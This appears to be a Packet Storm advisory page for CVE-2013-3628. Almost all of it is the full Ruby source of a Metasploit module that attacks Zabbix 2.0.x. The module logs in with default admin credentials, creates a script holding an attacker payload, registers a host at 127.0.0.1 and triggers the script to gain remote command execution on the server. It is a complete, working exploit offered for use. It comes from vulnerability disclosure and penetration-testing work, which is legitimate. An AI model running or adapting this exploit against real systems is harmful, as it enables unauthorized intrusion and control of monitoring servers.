Zabbix Authenticated Remote Command Execution

2013-10-30T00:00:00
ID PACKETSTORM:123856
Type packetstorm
Reporter Brandon Perry
Modified 2013-10-30T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Zabbix Authenticated Remote Command Execution',  
'Description' => %q{  
ZABBIX allows an administrator to create scripts that will be run on hosts.  
An authenticated attacker can create a script containing a payload, then a host  
with an IP of 127.0.0.1 and run the abitrary script on the ZABBIX host.  
  
This module was tested againt Zabbix v2.0.9.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module  
],  
'References' =>  
[  
['CVE', '2013-3628'],  
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']  
],  
'Payload' =>  
{  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl ruby bash telnet python',  
}  
},  
'Platform' => ['unix', 'linux'],  
'Arch' => ARCH_CMD,  
'Targets' => [['Automatic',{}]],  
'DisclosureDate' => 'Oct 30 2013',  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('USERNAME', [ true, "Username to authenticate with", 'Admin']),  
OptString.new('PASSWORD', [ true, "Password to authenticate with", 'zabbix']),  
OptString.new('TARGETURI', [ true, "The URI of the Zabbix installation", '/zabbix/'])  
], self.class)  
end  
  
def check  
init = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "/index.php")  
})  
  
if !init or init.code != 200  
print_error("Could not connect to server")  
return Exploit::CheckCode::Unknown  
end  
  
if init.body =~ /Zabbix (2\.0\.(\d)) Copyright/  
if $1 >= "2.0.0" and $1 <= "2.0.8"  
print_good("Version #{$1} is vulnerable.")  
return Exploit::CheckCode::Vulnerable  
end  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
c = connect  
  
req = c.request_cgi({  
'method' => 'POST',  
'uri' => '/zabbix/',  
'data' => 'request=&name=' << datastore['USERNAME'] << '&password=' << datastore['PASSWORD'] << '&enter=Sign+in'  
})  
  
login = c.send_recv(req.to_s.sub("Host:", "Host: " << datastore["RHOST"]))  
  
if !login or login.code != 302  
fail_with("Login failed")  
end  
  
sess = login.headers['Set-Cookie']  
  
dash = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/dashboard.php'),  
'cookie' => sess  
})  
  
if !dash or dash.code != 200  
fail_with("Dashboard failed")  
end  
  
sid = ''  
dash.body.each_line do |line|  
if line =~ /&sid=(.{16})\">/  
sid = $1  
break  
end  
end  
  
if sid == ''  
fail_with("Could not get sid")  
end  
  
script_title = rand_text_alpha(18)  
post = {  
'sid' => sid,  
'form_refresh' => 3,  
'form' => 'Create+script',  
'name' => script_title,  
'type' => 0,  
'execute_on' => 1,  
'command' => payload.encoded,  
'commandipmi' => '',  
'description' => '',  
'usrgrpid' => 0,  
'groupid' => 0,  
'access' => 2,  
'save' => 'Save'  
}  
  
resp = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/scripts.php'),  
'vars_post' => post,  
'cookie' => sess  
})  
  
if !resp or resp.code != 200  
fail_with("Error creating script")  
end  
  
script_id = ''  
if resp.body =~ /scriptid=(\d{1,8})&sid=#{sid}\">#{script_title}/  
script_id = $1  
else  
fail_with("Could not get the script id")  
end  
  
host = rand_text_alpha(18)  
post = {  
'sid' => sid,  
'form_refresh' => 1,  
'form' => 'Create+host',  
'host' => host,  
'visiblename' => host,  
'groups_left' => 4,  
'newgroup' => '',  
'interfaces[1][isNew]' => true,  
'interfaces[1][interfaceid]' => 1,  
'interfaces[1][type]' => 1,  
'interfaces[1][ip]' => '127.0.0.1',  
'interfaces[1][dns]' => '',  
'interfaces[1][useip]' => 1,  
'interfaces[1][port]' => 10050,  
'mainInterfaces[1]' => 1,  
'proxy_hostid' => 0,  
'status' => 0,  
'ipmi_authtype' => -1,  
'ipmi_privilege' => 2,  
'ipmi_username' => '',  
'ipmi_password' => '',  
'macros[0][macro]' => '',  
'macros[0][value]' => '',  
'inventory_mode' => -1,  
'save' => 'Save',  
'groups[4]' => 4  
}  
  
resp = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/hosts.php'),  
'vars_post' => post,  
'cookie' => sess  
})  
  
if !resp or resp.code != 200  
fail_with("Error creating new host")  
end  
  
hostid = ''  
if resp.body =~ /hosts.php\?form=update&hostid=(\d{1,12})&groupid=(\d)&sid=#{sid}\">#{host}/  
hostid = $1  
else  
fail_with("Could not get the host id")  
end  
  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "/scripts_exec.php?execute=1&hostid=#{hostid}&scriptid=#{script_id}&sid=#{sid}"),  
'cookie' => sess  
})  
end  
end  
`